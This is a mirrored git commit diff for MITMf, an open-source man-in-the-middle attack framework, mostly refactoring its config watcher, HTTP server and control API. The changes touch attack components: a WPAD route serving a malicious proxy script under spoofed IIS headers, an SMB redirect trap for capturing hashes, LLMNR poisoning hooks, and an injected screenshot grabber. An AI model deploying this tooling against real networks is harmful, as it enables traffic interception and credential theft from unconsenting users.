mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-13 18:27:06 -07:00
commit
134cd66959
15 changed files with 133 additions and 139 deletions
|
@ -6,6 +6,7 @@
|
|||
|
||||
# Required BeEF and Metasploit options
|
||||
[[BeEF]]
|
||||
|
||||
beefip = 127.0.0.1
|
||||
beefport = 3000
|
||||
user = beef
|
||||
|
@ -18,6 +19,11 @@
|
|||
rpcport = 55552
|
||||
rpcpass = abc123
|
||||
|
||||
[[MITMf-API]]
|
||||
|
||||
host = 127.0.0.1
|
||||
port = 9090
|
||||
|
||||
[[SMB]]
|
||||
|
||||
#
|
||||
|
@ -57,25 +63,23 @@
|
|||
# ini = /tmp/desktop.ini
|
||||
# bat = /tmp/evil.bat
|
||||
|
||||
#This is still experimental, don't uncomment pls!
|
||||
#[[HTTP]]
|
||||
[[HTTP]]
|
||||
|
||||
#
|
||||
# Here you can configure MITMf's internal HTTP server
|
||||
#
|
||||
|
||||
#port = 80
|
||||
port = 80
|
||||
|
||||
#[[[Paths]]]
|
||||
[[[Paths]]]
|
||||
|
||||
#
|
||||
# Here you can define the content to deliver
|
||||
#
|
||||
|
||||
# Format is urlpath = filesystem path (urlpath can be a regular expression)
|
||||
# Format is urlpath = filesystem path
|
||||
|
||||
# ".*" = "/var/www"
|
||||
# "/test" = "/var/www2"
|
||||
"/test" = "/var/www2"
|
||||
|
||||
[[DNS]]
|
||||
|
||||
|
|
|
@ -14,11 +14,6 @@ class ConfigWatcher(FileSystemEventHandler):
|
|||
_instance = None
|
||||
config = ConfigObj("./config/mitmf.conf")
|
||||
|
||||
def __init__(self):
|
||||
observer = Observer()
|
||||
observer.schedule(self, path='./config', recursive=False)
|
||||
observer.start()
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if ConfigWatcher._instance is None:
|
||||
|
@ -34,6 +29,11 @@ class ConfigWatcher(FileSystemEventHandler):
|
|||
self.reloadConfig()
|
||||
self.onConfigChange()
|
||||
|
||||
def startConfigWatch(self):
|
||||
observer = Observer()
|
||||
observer.schedule(self, path='./config', recursive=False)
|
||||
observer.start()
|
||||
|
||||
def onConfigChange(self):
|
||||
""" We can subclass this function to do stuff after the config file has been modified"""
|
||||
pass
|
||||
|
|
|
@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) {
|
|||
};
|
||||
}
|
||||
_html2canvas.Parse = function (images, options) {
|
||||
window.scroll(0,0);
|
||||
//window.scroll(0,0);
|
||||
|
||||
var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default
|
||||
numDraws = 0,
|
||||
|
@ -2871,8 +2871,10 @@ function grab() {
|
|||
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
|
||||
var x=encodeURIComponent(dat);
|
||||
xmlhttp.send(x);
|
||||
}
|
||||
});
|
||||
},
|
||||
width: screen.width,
|
||||
height: screen.height
|
||||
});
|
||||
}
|
||||
|
||||
setInterval(function(){grab()}, SECONDS_GO_HERE);
|
|
@ -1,6 +1,6 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
|
@ -31,18 +31,27 @@ import json
|
|||
import sys
|
||||
|
||||
from flask import Flask
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
log = logging.getLogger('werkzeug')
|
||||
log.setLevel(logging.DEBUG)
|
||||
|
||||
class mitmfapi:
|
||||
|
||||
_instance = None
|
||||
host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
|
||||
port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if mitmfapi._instance is None:
|
||||
mitmfapi._instance = mitmfapi()
|
||||
|
||||
return mitmfapi._instance
|
||||
|
||||
@app.route("/")
|
||||
def getPlugins():
|
||||
# example: http://127.0.0.1:9090/getPlugins
|
||||
# example: http://127.0.0.1:9090/
|
||||
pdict = {}
|
||||
|
||||
#print ProxyPlugins.getInstance().plist
|
||||
|
@ -60,7 +69,7 @@ class mitmfapi:
|
|||
|
||||
@app.route("/<plugin>")
|
||||
def getPluginStatus(plugin):
|
||||
# example: http://127.0.0.1:9090/getPluginStatus/cachekill
|
||||
# example: http://127.0.0.1:9090/cachekill
|
||||
for p in ProxyPlugins.getInstance().plist:
|
||||
if plugin == p.name:
|
||||
return json.dumps("1")
|
||||
|
@ -69,8 +78,8 @@ class mitmfapi:
|
|||
|
||||
@app.route("/<plugin>/<status>")
|
||||
def setPluginStatus(plugin, status):
|
||||
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled
|
||||
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled
|
||||
# example: http://127.0.0.1:9090/cachekill/1 # enabled
|
||||
# example: http://127.0.0.1:9090/cachekill/0 # disabled
|
||||
if status == "1":
|
||||
for p in ProxyPlugins.getInstance().plist_all:
|
||||
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
|
||||
|
@ -85,8 +94,8 @@ class mitmfapi:
|
|||
|
||||
return json.dumps({"plugin": plugin, "response": "failed"})
|
||||
|
||||
def startFlask(self, host='127.0.0.1', port=9090):
|
||||
app.run(host=host, port=port)
|
||||
def startFlask(self):
|
||||
app.run(debug=False, host=self.host, port=self.port)
|
||||
|
||||
#def start(self):
|
||||
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)
|
||||
|
|
|
@ -420,8 +420,6 @@ class DNSChef(ConfigWatcher):
|
|||
version = "0.4"
|
||||
|
||||
def __init__(self):
|
||||
ConfigWatcher.__init__(self)
|
||||
|
||||
self.tcp = False
|
||||
self.ipv6 = False
|
||||
self.hsts = False
|
||||
|
@ -430,8 +428,6 @@ class DNSChef(ConfigWatcher):
|
|||
self.server_address = "0.0.0.0"
|
||||
self.nameservers = ["8.8.8.8"]
|
||||
self.port = 53
|
||||
|
||||
self.onConfigChange()
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
|
@ -477,6 +473,9 @@ class DNSChef(ConfigWatcher):
|
|||
self.hsts = True
|
||||
|
||||
def start(self):
|
||||
self.onConfigChange()
|
||||
self.startConfigWatch()
|
||||
|
||||
try:
|
||||
if self.config['MITMf']['DNS']['tcp'].lower() == 'on':
|
||||
self.startTCP()
|
||||
|
|
|
@ -1,82 +0,0 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import sys
|
||||
import tornado.ioloop
|
||||
import tornado.web
|
||||
import threading
|
||||
|
||||
from core.configwatcher import ConfigWatcher
|
||||
|
||||
tornado_logger = logging.getLogger("tornado")
|
||||
tornado_logger.propagate = False
|
||||
formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
streamHandler = logging.StreamHandler(sys.stdout)
|
||||
fileHandler.setFormatter(formatter)
|
||||
streamHandler.setFormatter(formatter)
|
||||
tornado_logger.addHandler(fileHandler)
|
||||
tornado_logger.addHandler(streamHandler)
|
||||
|
||||
class HTTPServer(ConfigWatcher):
|
||||
|
||||
_instance = None
|
||||
application = tornado.web.Application([])
|
||||
http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if HTTPServer._instance == None:
|
||||
HTTPServer._instance = HTTPServer()
|
||||
|
||||
return HTTPServer._instance
|
||||
|
||||
def addHandler(self, urlregex, handler, vhost=''):
|
||||
self.application.add_handlers(vhost, [(urlregex, handler)])
|
||||
|
||||
def addStaticPathHandler(self, urlregex, path, vhost=''):
|
||||
self.application.add_handlers(vhost, [(urlregex, {"static_path": path})])
|
||||
|
||||
def resetApplication(self):
|
||||
self.application = tornado.web.Application([])
|
||||
|
||||
def parseConfig(self):
|
||||
for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems():
|
||||
self.addStaticPathHandler(url, path)
|
||||
|
||||
def onConfigChange(self):
|
||||
self.resetApplication()
|
||||
self.parseConfig()
|
||||
|
||||
def start(self):
|
||||
self.parseConfig()
|
||||
self.application.listen(self.http_port)
|
||||
|
||||
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
class HTTPHandler(tornado.web.RequestHandler):
|
||||
def get(self):
|
||||
raise HTTPError(405)
|
||||
|
||||
def post(self):
|
||||
raise HTTPError(405)
|
46
core/servers/http/HTTPserver.py
Normal file
46
core/servers/http/HTTPserver.py
Normal file
|
@ -0,0 +1,46 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import threading
|
||||
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from flask import Flask
|
||||
|
||||
class HTTPserver:
|
||||
|
||||
_instance = None
|
||||
server = Flask(__name__)
|
||||
port = int(ConfigWatcher.getInstance().config['MITMf']['HTTP']['port'])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if HTTPserver._instance is None:
|
||||
HTTPserver._instance = HTTPserver()
|
||||
|
||||
return HTTPserver._instance
|
||||
|
||||
def startFlask(self):
|
||||
self.server.run(debug=False, host='0.0.0.0', port=self.port)
|
||||
|
||||
def start(self):
|
||||
server_thread = threading.Thread(name='HTTPserver', target=self.startFlask)
|
||||
server_thread.setDaemon(True)
|
||||
server_thread.start()
|
|
@ -15,9 +15,9 @@ class SMBserver(ConfigWatcher):
|
|||
|
||||
_instance = None
|
||||
impacket_ver = version.VER_MINOR
|
||||
server_type = ConfigWatcher.config["MITMf"]["SMB"]["type"].lower()
|
||||
smbchallenge = ConfigWatcher.config["MITMf"]["SMB"]["Challenge"]
|
||||
smb_port = int(ConfigWatcher.config["MITMf"]["SMB"]["port"])
|
||||
server_type = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["type"].lower()
|
||||
smbchallenge = ConfigWatcher.getInstance().config["MITMf"]["SMB"]["Challenge"]
|
||||
smb_port = int(ConfigWatcher.getInstance().config["MITMf"]["SMB"]["port"])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
|
|
18
mitmf.py
18
mitmf.py
|
@ -29,7 +29,6 @@ from twisted.internet import reactor
|
|||
from core.sslstrip.CookieCleaner import CookieCleaner
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
from core.utils import Banners, SystemConfig, shutdown
|
||||
from core.mitmfapi import mitmfapi
|
||||
from plugins import *
|
||||
|
||||
Banners().printBanner()
|
||||
|
@ -159,14 +158,13 @@ reactor.listenTCP(args.listen, strippingFactory)
|
|||
for p in ProxyPlugins.getInstance().plist:
|
||||
|
||||
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
|
||||
p.startConfigWatch()
|
||||
|
||||
if hasattr(p, 'startThread'):
|
||||
t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
mitmfapi().start()
|
||||
|
||||
print "|"
|
||||
print "|_ Sergio-Proxy v{} online".format(sergio_version)
|
||||
print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)
|
||||
|
@ -182,15 +180,21 @@ DNSChef.getInstance().start()
|
|||
print "|_ DNSChef v{} online".format(DNSChef.version)
|
||||
|
||||
#Start the HTTP Server
|
||||
#from core.servers.http.HTTPServer import HTTPServer
|
||||
#HTTPServer.getInstance().start()
|
||||
#print "|_ HTTP server online"
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
HTTPserver.getInstance().start()
|
||||
print "|_ HTTP server online"
|
||||
|
||||
#Start the SMB server
|
||||
from core.servers.smb.SMBserver import SMBserver
|
||||
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
||||
print "|_ SMB server online [Mode: {}] (Impacket {})".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
||||
SMBserver.getInstance().start()
|
||||
|
||||
#Start MITMf-API
|
||||
from core.mitmfapi import mitmfapi
|
||||
mitmfapi().start()
|
||||
print "|"
|
||||
print "|_ MITMf-API running on http://{}:{}\n".format(mitmfapi.getInstance().host, mitmfapi.getInstance().port)
|
||||
|
||||
#start the reactor
|
||||
reactor.run()
|
||||
|
||||
|
|
|
@ -45,8 +45,7 @@ class CacheKill(Plugin):
|
|||
|
||||
def clientRequest(self, request):
|
||||
'''Handles outgoing request'''
|
||||
if self.getStatus():
|
||||
request.headers['pragma'] = 'no-cache'
|
||||
for header in self.bad_headers:
|
||||
if header in request.headers:
|
||||
del request.headers[header]
|
||||
request.headers['pragma'] = 'no-cache'
|
||||
for header in self.bad_headers:
|
||||
if header in request.headers:
|
||||
del request.headers[header]
|
|
@ -21,12 +21,12 @@
|
|||
from plugins.plugin import Plugin
|
||||
from twisted.internet import reactor
|
||||
from core.utils import SystemConfig, shutdown
|
||||
from core.configwatcher import ConfigWatcher
|
||||
|
||||
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
|
||||
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
|
||||
from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner
|
||||
from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter
|
||||
from core.responder.wpad.WPADPoisoner import WPADPoisoner
|
||||
|
||||
class Responder(Plugin):
|
||||
name = "Responder"
|
||||
|
@ -54,8 +54,23 @@ class Responder(Plugin):
|
|||
LLMNRPoisoner().start(options, self.ourip)
|
||||
|
||||
if options.wpad:
|
||||
from core.responder.wpad.WPADPoisoner import WPADPoisoner
|
||||
WPADPoisoner().start(options)
|
||||
from core.servers.http.HTTPserver import HTTPserver
|
||||
import flask
|
||||
|
||||
server = HTTPserver.getInstance().server
|
||||
|
||||
@server.route('/<wpad_req>')
|
||||
def wpad(wpad_req):
|
||||
if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')):
|
||||
payload = ConfigWatcher.getInstance().config['Responder']['WPADScript']
|
||||
|
||||
resp = flask.Response(payload)
|
||||
resp.headers['Server'] = "Microsoft-IIS/6.0"
|
||||
resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig"
|
||||
resp.headers['X-Powered-By'] = "ASP.NET"
|
||||
resp.headers['Content-Length'] = len(payload)
|
||||
|
||||
return resp
|
||||
|
||||
if self.config["Responder"]["MSSQL"].lower() == "on":
|
||||
from core.responder.mssql.MSSQLServer import MSSQLServer
|
||||
|
|
|
@ -32,7 +32,7 @@ class SMBAuth(Inject, Plugin):
|
|||
def initialize(self, options):
|
||||
self.target_ip = SystemConfig.getIP(options.interface)
|
||||
|
||||
Inject.initialize(options)
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self._get_data()
|
||||
|
||||
def _get_data(self):
|
||||
|
|
|
@ -26,6 +26,5 @@ class SMBTrap(Plugin):
|
|||
return {"request": request, "version": version, "code": 302, "message": "Found"}
|
||||
|
||||
def serverHeaders(self, response, request):
|
||||
if self.getStatus():
|
||||
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
|
||||
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
|
||||
mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host']))
|
||||
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))
|
||||
|
|
|
@ -45,11 +45,10 @@ class Upsidedownternet(Plugin):
|
|||
|
||||
def serverHeaders(self, response, request):
|
||||
'''Kill the image skipping that's in place for speed reasons'''
|
||||
if self.getStatus():
|
||||
if request.isImageRequest:
|
||||
request.isImageRequest = False
|
||||
request.isImage = True
|
||||
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
||||
if request.isImageRequest:
|
||||
request.isImageRequest = False
|
||||
request.isImage = True
|
||||
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
||||
|
||||
def serverResponse(self, response, request, data):
|
||||
try:
|
||||
|
|
|
@ -10,7 +10,7 @@ mitmf_logger = logging.getLogger('mitmf')
|
|||
class Plugin(ConfigWatcher, object):
|
||||
name = "Generic plugin"
|
||||
optname = "generic"
|
||||
tree_info = list()
|
||||
tree_info = []
|
||||
desc = ""
|
||||
version = "0.0"
|
||||
has_opts = False
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue